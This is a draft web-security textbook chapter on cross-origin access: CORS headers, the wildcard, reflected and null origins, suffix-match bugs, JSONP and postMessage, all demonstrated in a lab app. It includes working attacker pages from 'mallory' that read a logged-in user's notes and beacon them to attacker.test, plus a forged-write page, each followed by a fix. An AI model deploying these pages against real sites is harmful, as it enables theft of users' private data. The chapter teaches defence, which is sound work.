Web Security · Draft

6 — Asking across origins

Chapter 5 ended on a JSONP endpoint that exists because a partner wanted to show a user’s notes on a page of its own. The partner, https://partner.example, runs a dashboard that alice also uses. They’d like the dashboard to call the app’s JSON API from the browser, with alice’s session, and list her notes.

Chapter 1 showed why that doesn’t work by default. The same-origin policy lets a page send a request to another origin, but not read the response. Cross-Origin Resource Sharing (CORS), defined in the WHATWG Fetch standard, is how a server relaxes that: it adds response headers saying which other origins may read what it returns. Getting those headers wrong is one of the most common ways an API ends up readable by any website.

Same lab as chapters 4 and 5: the app at https://notes.test:5201, everything else on port 5202 under different names. partner.example is the legitimate partner. attacker.test is mallory’s site, and pages.notes.test is the sibling subdomain from earlier chapters. Chrome 157.0.8103.40, logged in as alice, whose first note is still the door code.

What the browser does with a cross-origin request

The partner’s page runs:

fetch('https://notes.test:5201/api/notes', { credentials: 'include' })

credentials: 'include' asks for cookies to be sent across origins; the default for fetch is to send them only to the same origin. Against the app as chapter 5 left it, Chrome recorded:

GET https://notes.test:5201/api/notes  Origin=https://partner.example:5202  Sec-Fetch-Site=cross-site  Sec-Fetch-Mode=cors  Cookie=-
  cookie not sent: __Host-sid (SchemefulSameSiteLax)
Access to fetch at 'https://notes.test:5201/api/notes' from origin 'https://partner.example:5202' has been
blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
result: error: Failed to fetch

and the app logged the request:

GET notes.test:5201/api/notes Origin=https://partner.example:5202 Sec-Fetch-Site=cross-site Cookie=no

Three separate things happened. The request reached the server: CORS doesn’t stop requests from being sent, it stops responses from being read. The browser added an Origin header naming the page that asked. And the session cookie stayed home, because it’s SameSite=Lax and this is a cross-site subresource request. Even if the response had been readable, it would have said 401.

The same call from the sibling, https://pages.notes.test:5202, went out with the cookie, since the sibling is same-site:

GET https://notes.test:5201/api/notes  Origin=https://pages.notes.test:5202  Sec-Fetch-Site=same-site  Cookie=__Host-sid=HjunWmFs...
Access to fetch at ... has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present ...

The server ran the query as alice and sent back her notes. Only the browser’s refusal to hand the response to the page kept them from the sibling. That refusal depends entirely on the response headers, which is where things go wrong.

The headers

A response opts in to being read with:

Access-Control-Allow-Origin: https://partner.example:5202
Access-Control-Allow-Credentials: true

Access-Control-Allow-Origin (ACAO) is either one exact origin or *. There is no list form and no wildcard pattern; a server that wants several origins has to look at the request’s Origin and echo back the one that’s allowed. Access-Control-Allow-Credentials: true is required as well if the request was made with credentials, otherwise the browser withholds the response even when the origin matches. A few more headers matter: Access-Control-Expose-Headers lets the page read response headers beyond a short safelist, and Vary: Origin tells caches that the response changes with the requesting origin.

Simple and preflighted requests

The browser only sends a request before asking permission if it’s one an HTML form could already have sent. MDN lists the conditions for such a simple request: the method is GET, HEAD or POST; the only headers set by the page are a short safelist (Accept, Accept-Language, Content-Language, Content-Type, and a simple Range); and Content-Type, if set, is application/x-www-form-urlencoded, multipart/form-data or text/plain. Anything else, such as a PUT, a DELETE, a custom header or a JSON content type, first gets a preflight: an OPTIONS request asking whether the real one is allowed.

The partner’s page trying to create a note through the JSON API:

fetch('https://notes.test:5201/api/notes', {
  method: 'POST', credentials: 'include',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ title: 'planted', body: 'via JSON' }),
})
OPTIONS https://notes.test:5201/api/notes  Origin=https://partner.example:5202  Sec-Fetch-Site=cross-site  Cookie=-
Access to fetch at 'https://notes.test:5201/api/notes' from origin 'https://partner.example:5202' has been
blocked by CORS policy: Response to preflight request doesn't pass access control check: No
'Access-Control-Allow-Origin' header is present on the requested resource.

Only the OPTIONS reached the app. The POST was never sent. That’s the property chapter 3 relied on when it made the JSON endpoint reject anything but application/json: a cross-origin JSON request can’t happen without the server’s consent. Preflights are sent without cookies, so the server can’t use the session to decide, only the origin, method and headers being asked for.

A form-encoded POST is simple, so the browser sends it with no preflight:

fetch('https://notes.test:5201/notes', { method: 'POST', mode: 'no-cors', credentials: 'include',
  body: new URLSearchParams({ title: 'planted', body: 'via form' }) })
POST notes.test:5201/notes Origin=https://partner.example:5202 Sec-Fetch-Site=cross-site Cookie=no
  blocked by Fetch Metadata: Sec-Fetch-Site=cross-site

It arrived at the server and was refused there, by chapter 3’s Fetch Metadata check (and it had no cookie or token anyway). This is the core of why CORS isn’t a CSRF defense: for simple requests, the decision is made after the server has already acted. CORS only controls what the calling page learns.

A preflight’s answer can be cached with Access-Control-Max-Age. MDN gives the default as 5 seconds and says Chromium caps it at two hours and Firefox at 24.

First attempt: the wildcard

The quickest way to make the partner’s error go away is:

Access-Control-Allow-Origin: *

With credentials, Chrome still refused:

Access to fetch at 'https://notes.test:5201/api/notes' from origin 'https://partner.example:5202' has been
blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be
the wildcard '*' when the request's credentials mode is 'include'.

Without credentials it worked, and returned what the app says to a request with no session:

result: 401 {"error":"not logged in"}

This is a deliberate rule in the Fetch standard: * can’t be combined with credentials, and the same goes for wildcards in Access-Control-Allow-Headers, -Methods and -Expose-Headers. Access-Control-Allow-Origin: * is the right header for genuinely public data, such as a public JSON feed or a font, precisely because it can’t expose anything that depends on who the user is. It doesn’t fit an API that answers per user.

Second attempt: reflect the origin

The next most common fix is to copy the request’s Origin into the response:

@app.after_request
def headers(resp):
    if request.path.startswith("/api/"):
        origin = request.headers.get("Origin")
        if origin:
            resp.headers["Access-Control-Allow-Origin"] = origin
            resp.headers["Access-Control-Allow-Credentials"] = "true"
    return resp

It looks like an allowlist of one, but it allows every origin that asks. With the session cookie still SameSite=Lax:

partner.example   credentialed GET   Cookie=-                        result: 401 {"error":"not logged in"}
attacker.test     credentialed GET   Cookie=-                        result: 401 {"error":"not logged in"}
pages.notes.test  credentialed GET   Cookie=__Host-sid=mDvrUsnX...   result: 200 [{"body":"The side door code is 4417.","id":1,"owner":"alice","title":"Door code"}, ...

The partner still gets nothing, because the cookie doesn’t travel cross-site. SameSite=Lax is also what keeps attacker.test out. But the sibling subdomain now reads alice’s notes: same-site, so the cookie goes, and the response says it may read. Any page on any subdomain, whether a marketing site, a user-content host or an abandoned app, can now read the API as whoever visits it.

Making the partner work

For the partner’s call to carry alice’s session, the cookie has to be sent on a cross-site request, which means SameSite=None (and Secure, which __Host- already requires):

Set-Cookie: __Host-sid=...; Secure; HttpOnly; Path=/; SameSite=None

Chrome 157 in its default headless profile sent it, with a third-party-cookie warning in its issues panel (WarnThirdPartyPhaseout). Browsers or settings that block third-party cookies would not, which is reason enough not to build an integration this way, but plenty of integrations are built this way. Now the partner’s call worked:

GET https://notes.test:5201/api/notes  Origin=https://partner.example:5202  Sec-Fetch-Site=cross-site  Cookie=__Host-sid=cj0GJMn3...
result: 200 [{"body":"The side door code is 4417.","id":1,"owner":"alice","title":"Door code"}, ...

and so did mallory’s. Her page on attacker.test:

fetch('https://notes.test:5201/api/notes', { credentials: 'include' })
  .then(r => r.text())
  .then(t => navigator.sendBeacon('/collect', t));
GET https://notes.test:5201/api/notes  Origin=https://attacker.test:5202  Sec-Fetch-Site=cross-site  Cookie=__Host-sid=cj0GJMn3...
result: 200 [{"body":"The side door code is 4417.","id":1,"owner":"alice","title":"Door code"}, ...

Alice only has to visit mallory’s page while logged in to the app. The page reads her notes and sends them home, and nothing appears on screen.

Writes were a different story. The reflecting server also answered the preflight, so a JSON POST from attacker.test got through the browser:

OPTIONS https://notes.test:5201/api/notes  Origin=https://attacker.test:5202  Cookie=-
POST    https://notes.test:5201/api/notes  Origin=https://attacker.test:5202  Sec-Fetch-Site=cross-site  Cookie=__Host-sid=cpHYwjxo...
result: 403

and the app refused it:

POST notes.test:5201/api/notes Origin=https://attacker.test:5202 Sec-Fetch-Site=cross-site Cookie=yes
  blocked by Fetch Metadata: Sec-Fetch-Site=cross-site

Chapter 3’s check is independent of CORS, so it held. Without it, a reflected-origin policy with credentials is a full CSRF hole as well as a data leak, because a preflight that says yes to everyone also lifts the “JSON can’t be forged” protection.

The null origin

Developers who test pages from local files often see requests with Origin: null and add it to the allowlist:

return origin in ALLOWED_ORIGINS or origin == "null"

null isn’t one origin. It’s what the browser sends for any opaque origin: a sandboxed iframe, a data: URL, a file: page, and requests that went through a cross-origin redirect. Anyone can produce it. Mallory’s page:

<iframe sandbox="allow-scripts" srcdoc="
<script>
  fetch('https://notes.test:5201/api/notes', { credentials: 'include' })
    .then(r => r.text())
    .then(t => parent.postMessage(t, '*'));
</script>"></iframe>
<script>
  addEventListener('message', (e) => navigator.sendBeacon('/collect', e.data));
</script>

The sandboxed frame has an opaque origin. Its request:

GET notes.test:5201/api/notes Origin=null Sec-Fetch-Site=cross-site Cookie=yes

The app echoed Access-Control-Allow-Origin: null with credentials, and the frame handed the response to its parent:

console.log: from the sandboxed frame: [{"body":"The side door code is 4417.","id":1,"owner":"alice","title":"Door code"}, ...

null should never be on an allowlist for anything that uses credentials.

Suffix matching

The app also wanted to let its own subdomains call the API, so someone wrote:

return urlsplit(origin).hostname.endswith("notes.test")

which accepts https://pages.notes.test, as intended, and also https://evilnotes.test, a domain anyone could register if .test were a real top-level domain:

GET https://notes.test:5201/api/notes  Origin=https://evilnotes.test:5202  Sec-Fetch-Site=cross-site  Cookie=__Host-sid=JxOWh37B...
result: 200 [{"body":"The side door code is 4417.","id":1,"owner":"alice","title":"Door code"}, ...

attacker.test was correctly refused in the same run. The fixed suffix check would be .endswith(".notes.test"), with the dot. Similar mistakes: startswith("https://notes.test"), which accepts https://notes.test.attacker.example; a regular expression with an unescaped . or a missing $; or "notes.test" in origin. Even a correct subdomain pattern trusts every subdomain, which is a promise that none of them will ever serve attacker-controlled script.

The fix

An exact set of origins, compared as strings, and nothing for anyone else:

ALLOWED_ORIGINS = {"https://partner.example:5202"}

@app.after_request
def headers(resp):
    if request.path.startswith("/api/"):
        origin = request.headers.get("Origin")
        if origin in ALLOWED_ORIGINS:
            resp.headers["Access-Control-Allow-Origin"] = origin
            resp.headers["Access-Control-Allow-Credentials"] = "true"
        resp.headers["Vary"] = "Origin"
    return resp

The preflight answer uses the same check, and only then lists the methods and headers allowed, GET, POST, DELETE and Content-Type, with a ten-minute Access-Control-Max-Age. Vary: Origin goes on every API response, allowed or not. Without it, a shared cache could store the response it gave the partner, ACAO header and all, and serve it to a request from another origin, or store a response without the header and break the partner.

Every attack from this chapter, rerun with the cookie still SameSite=None:

OriginReflectnull allowedSuffixExact set
partner.exampleReadReadRefusedRead
attacker.testReadRefusedRefusedRefused
evilnotes.testReadRefusedReadRefused
sandboxed frame (null)ReadReadRefusedRefused

In the exact-set run, each refused request still reached the app with alice’s cookie (Cookie=yes in the log), and the app still ran the query. Only the browser kept the answer from the page. CORS is a rule the browser enforces on behalf of the user. It does nothing about curl, a script on a server, or any client that isn’t a browser, and the API’s own authorization still has to decide what each caller may see. CORS only decides which web pages may read what a logged-in browser receives.

A tighter design keeps ambient cookies out of it. If the partner’s dashboard got its own token for alice, through an OAuth grant she approves (the JWT, OAuth and Zero Trust essay covers how), the partner’s calls would carry an Authorization header, the API could allow the partner’s origin without credentials, and the session cookie could go back to SameSite=Lax. Bearer tokens in headers aren’t attached by the browser automatically, so there’s nothing for another site to ride on.

JSONP

Before CORS existed, the way around the same-origin policy was JSONP. A <script> tag can load from any origin, and the script it loads runs in the including page. So the server wraps its JSON in a function call named by the caller, and the caller defines the function. The app’s legacy endpoint, from chapter 5, does exactly that. Mallory’s page:

<script>
  function steal(notes) {
    console.log('JSONP gave', notes.length, 'notes');
    navigator.sendBeacon('/collect', JSON.stringify(notes));
  }
</script>
<script src="https://notes.test:5201/api/notes.js?callback=steal"></script>

CORS doesn’t apply to classic script loads at all. The exact-origin allowlist above was in force for these runs, and made no difference. What decided the outcome was the cookie:

SameSite=Lax, from attacker.test:
GET https://notes.test:5201/api/notes.js?callback=steal  Sec-Fetch-Site=cross-site  Sec-Fetch-Mode=no-cors  Cookie=-
  cookie not sent: __Host-sid (SchemefulSameSiteLax)
console.log: JSONP gave 0 notes

SameSite=Lax, from pages.notes.test:
GET https://notes.test:5201/api/notes.js?callback=steal  Sec-Fetch-Site=same-site  Cookie=__Host-sid=h8zzaCKp...
console.log: JSONP gave 21 notes

SameSite=None, from attacker.test:
GET https://notes.test:5201/api/notes.js?callback=steal  Sec-Fetch-Site=cross-site  Cookie=__Host-sid=JN--9ckR...
console.log: JSONP gave 21 notes

A JSONP endpoint that returns per-user data is readable by every page that can get the user’s cookie sent with it. There’s no origin check to configure, because the server is asking to be run as script in someone else’s page. The fix is to delete it. The partner uses the CORS-enabled JSON API instead, and /api/notes.js is gone. (A server can also reject Sec-Fetch-Dest: script or Sec-Fetch-Mode: no-cors requests to its JSON endpoints, which also stops older tricks of loading JSON as a script.)

postMessage

The partner wanted one more thing: a small widget from the app, shown on their dashboard in an iframe, that says how many notes alice has and lets her jot a note from the dashboard. The frames are on different origins, so they talk with postMessage, the one API designed for cross-origin messages between windows. The widget’s script, as first written:

window.addEventListener('message', async (event) => {
  if (event.data.action === 'create') {
    await fetch('/notes', {
      method: 'POST',
      body: new URLSearchParams({
        csrf_token: document.body.dataset.csrf,
        title: event.data.title,
        body: event.data.body,
      }),
    });
  }
});

parent.postMessage({ user: document.querySelector('p').textContent }, '*');

Two mistakes, one in each direction. The listener acts on a message from anyone, without looking at event.origin. And the widget tells its parent about alice using the target origin *, which means “whoever is my parent right now”.

Nothing stops mallory’s page from framing the widget too:

<script>
  addEventListener('message', (e) => {
    console.log('message from', e.origin, JSON.stringify(e.data));
    e.source.postMessage({ action: 'create', title: 'from ' + location.host,
                           body: 'written through the widget' }, '*');
  });
</script>
<iframe src="https://notes.test:5201/widget"></iframe>

With the cookie at SameSite=None, the framed widget loaded logged in as alice:

GET https://notes.test:5201/widget  Sec-Fetch-Site=cross-site  Sec-Fetch-Mode=navigate  Cookie=__Host-sid=9A0jHWP3...
console.log: message from https://notes.test:5201 {"user":"alice has 21 notes."}

The widget’s announcement went to mallory’s page. Mallory’s reply went to the widget, which created the note:

POST notes.test:5201/notes Origin=https://notes.test:5201 Sec-Fetch-Site=same-origin Cookie=yes

Alice’s notes list afterward ended with "from attacker.test:5202". Look at that request through chapter 3’s eyes: same origin, a valid CSRF token, Sec-Fetch-Site: same-origin. It was the app’s own code making it. The forgery happened one step earlier, in a message handler that trusted the sender. Chapter 5’s CSP didn’t help either, because the code that ran was the app’s own nonced script. A listener that passed message data to innerHTML would turn the same mistake into DOM XSS.

With the cookie at SameSite=Lax, the framed widget got no cookie (cookie not sent: __Host-sid (SchemefulSameSiteLax)), the app answered 401, and there was nothing to attack. That’s the same pattern as every other attack in this chapter: SameSite=None is what the partner integration needed, and it’s what every cross-site attack needed too.

The fix checks the origin on both sides:

const PARTNER = 'https://partner.example:5202';

window.addEventListener('message', async (event) => {
  if (event.origin !== PARTNER) return;
  ...
});

parent.postMessage(summary, PARTNER);

The HTML standard says this directly: authors “should check the origin attribute to ensure that messages are only accepted from domains that they expect”, and “should not use the wildcard keyword (*) in the targetOrigin argument in messages that contain any confidential information”. When the target origin doesn’t match the receiving window, the message is discarded without any error to the sender. Rerun from attacker.test, the widget loaded, mallory’s page received no message, sent nothing, and no note was created; the only request to the app after the widget’s own scripts was the driver checking alice’s notes. Rerun from partner.example, the partner received {"user":"alice has 22 notes."}, sent its create, and the app logged the note being saved. Checking event.origin with === against a fixed string matters for the same reason as with CORS: indexOf, startsWith and unanchored regular expressions all have the bypasses shown above. Even from a trusted origin, message data is input and gets validated like any other.

Where this leaves things

The partner can read alice’s notes from its own origin, and nobody else can. The API answers with an exact origin and Vary: Origin only for partner.example; reflected origins, null and suffix matches are gone; the JSONP endpoint is deleted; the widget only listens to, and only talks to, the partner’s origin. Writes from other origins are still stopped by chapter 3’s Fetch Metadata check, which turned out to matter: it was what held when the reflected-origin policy waved a cross-site JSON POST through its preflight.

The integration left the session cookie at SameSite=None, which is what made each of this chapter’s attacks work cross-site, and moving the partner to its own token is the real way out of that. It also showed something the app hasn’t thought about. The widget was meant to be framed by the partner, but mallory framed it just as easily, and every other page of the app can be framed by any site in the same way, logged in, with the attacker’s page drawn around it. Framing, and the other response headers that tell the browser how a page may be embedded and used, are chapter 7.